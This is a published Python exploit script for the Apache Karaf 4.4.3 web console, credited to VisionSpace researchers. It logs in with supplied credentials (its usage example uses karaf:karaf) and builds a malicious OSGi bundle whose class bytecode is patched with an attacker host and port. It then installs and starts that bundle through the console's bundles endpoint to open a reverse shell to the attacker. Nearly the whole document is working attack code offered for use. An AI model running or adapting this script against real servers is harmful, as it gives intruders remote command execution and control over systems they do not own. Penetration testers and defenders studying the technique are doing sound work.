Karaf v4.4.3 Console Exploit, RCE

#!/usr/bin/python

# Exploit Title: [Karaf v4.4.3 Console RCE]
# Date: [2023-08-07]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-karaf-exploits.git]
# Vendor Homepage: [https://karaf.apache.org]
# Software Link: [https://karaf.apache.org/download.html]
# Version: [4.4.3]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 \
#                   --lhost=192.168.0.100 --lport=4444 \
#                   --creds=karaf:karaf


"""
This tool will let you open a reverse shell from the system
that is running Karaf Console",
"""
import argparse
import base64
import io
import re
import zipfile
import requests

# Content of the MANIFEST.MF file.
MANIFEST_CONTENT = \
    "Bundle-Name: RevShell\n" \
    "Bundle-Description: Bundle openning a reverse shell connection.\n" \
    "Bundle-SymbolicName: com.visionspace.osgi.revshell.Activator\n" \
    "Bundle-Vendor: VisionSpace\n" \
    "Bundle-Version: 1.0.0\n" \
    "Import-Package: org.osgi.framework\n" \
    "Bundle-Activator: com.visionspace.osgi.revshell.Activator"

# Activator.class bytecode template.
ACTIVATOR_CLASS_BYTECODE_TEMPLATE = \
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# Items to be replaces within the bytecode of Activator.class
# <LEN><LHOST> = <\x07><\x3c\x4c\x48\x4f\x53\x54\x3e>
ACTIVATOR_CLASS_LHOST_TAG = b"\x07\x3c\x4c\x48\x4f\x53\x54\x3e"
# <LEN><LPORT> = <\x07><\x3c\x4c\x50\x4f\x52\x54\x3e>
ACTIVATOR_CLASS_LPORT_TAG = b"\x07\x3c\x4c\x50\x4f\x52\x54\x3e"


def parse():
    """
    This function parses the command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="Karaf-Console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running Karaf Console",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=True)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=True)
    parser.add_argument("--creds", dest="creds",
                        help="credentials in format <username:password>",
                        type=str, required=True)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def extract_jsessionid(cookie):
    """
    This function extracts the JSESSIONID from the cookie string.
    """

    jsessionid = None

    regex = re.findall("JSESSIONID=([^;]+)", cookie)
    if len(regex) > 0:
        jsessionid = regex[0]

    return jsessionid


def authenticate(target, basic_auth):
    """
    This function connects to the URL and retrieves the JSESSIONID
    based on the Basic Authorization.
    """

    jsessionid = None

    headers = {
        "Authorization": basic_auth
    }

    response = requests.get(target, headers=headers,
                            allow_redirects=False, timeout=10)

    if (response.status_code == 302 and response.headers["Set-Cookie"]):
        jsessionid = extract_jsessionid(response.headers["Set-Cookie"])

    return jsessionid


def generate_payload(lhost, lport):
    """
    This function generates the payload.
    It replaces the template payload with the `lhost` and `lport` arguments.
    """

    payload = None

    lhost_byte_array = bytearray()
    lhost_byte_array.append(len(lhost))
    lhost_byte_array.extend(map(ord, lhost))

    activator_class_bytecodes = ACTIVATOR_CLASS_BYTECODE_TEMPLATE.replace(
        ACTIVATOR_CLASS_LHOST_TAG, lhost_byte_array)

    lport_str = str(lport)
    lport_byte_array = bytearray()
    lport_byte_array.append(len(lport_str))
    lport_byte_array.extend(map(ord, lport_str))

    activator_class_bytecodes = activator_class_bytecodes.replace(
        ACTIVATOR_CLASS_LPORT_TAG, lport_byte_array)

    jar_bytes = io.BytesIO()

    with zipfile.ZipFile(jar_bytes, "w", zipfile.ZIP_DEFLATED) as zip_file:
        zip_file.writestr("com/visionspace/osgi/revshell/Activator.class",
                          activator_class_bytecodes)
        zip_file.writestr("META-INF/MANIFEST.MF", MANIFEST_CONTENT)

    payload = jar_bytes.getvalue()

    return payload


def deploy_payload(target, basic_auth, jsessionid, payload):
    """
    This function connects to the Karaf Console and deployes the payload.
    """

    success = False

    url = f"{target}/bundles"

    cookies = {
        "JSESSIONID": jsessionid
    }

    headers = {
        "Authorization": basic_auth
    }

    files = {
        "bundlefile": (
            "revshell.jar", payload, "application/x-java-archive")
    }

    data = {
        "action": "install",
        "bundlestart": "start",
        "bundlestartlevel": 80
    }

    response = requests.post(url, headers=headers, cookies=cookies,
                             files=files, data=data, timeout=10,
                             allow_redirects=False)

    if response.status_code == 302:
        success = True

    return success


def generate_basic_auth(creds):
    """
    This function generates the Basic Authorization string based
    on the credentials.
    """

    creds_base64 = base64.b64encode(creds.encode()).decode()
    basic_auth = f"Basic {creds_base64}"

    return basic_auth


def create_target_url(rhost, rport):
    """
    This function creates a target URL.
    """

    target_url = f"http://{rhost}:{rport}/system/console"

    return target_url


def main(args):
    """
    Main function.
    """

    target = create_target_url(args.rhost, args.rport)

    print("[*] Login...")
    basic_auth = generate_basic_auth(args.creds)
    jsessionid = authenticate(target, basic_auth)

    if jsessionid:
        print("[+] Session established.")

        print("[*] Generating payload...")
        payload = generate_payload(args.lhost, args.lport)

        if payload:
            print("[*] Deploying payload...")
            if deploy_payload(target, basic_auth, jsessionid, payload):
                print("[+] Done.")
            else:
                print("[-] Failed to deploy the payload!")
        else:
            print("[-] Failed to generate the payload!")
    else:
        print("[-] Login failed!")


if __name__ == "__main__":
    main(parse())

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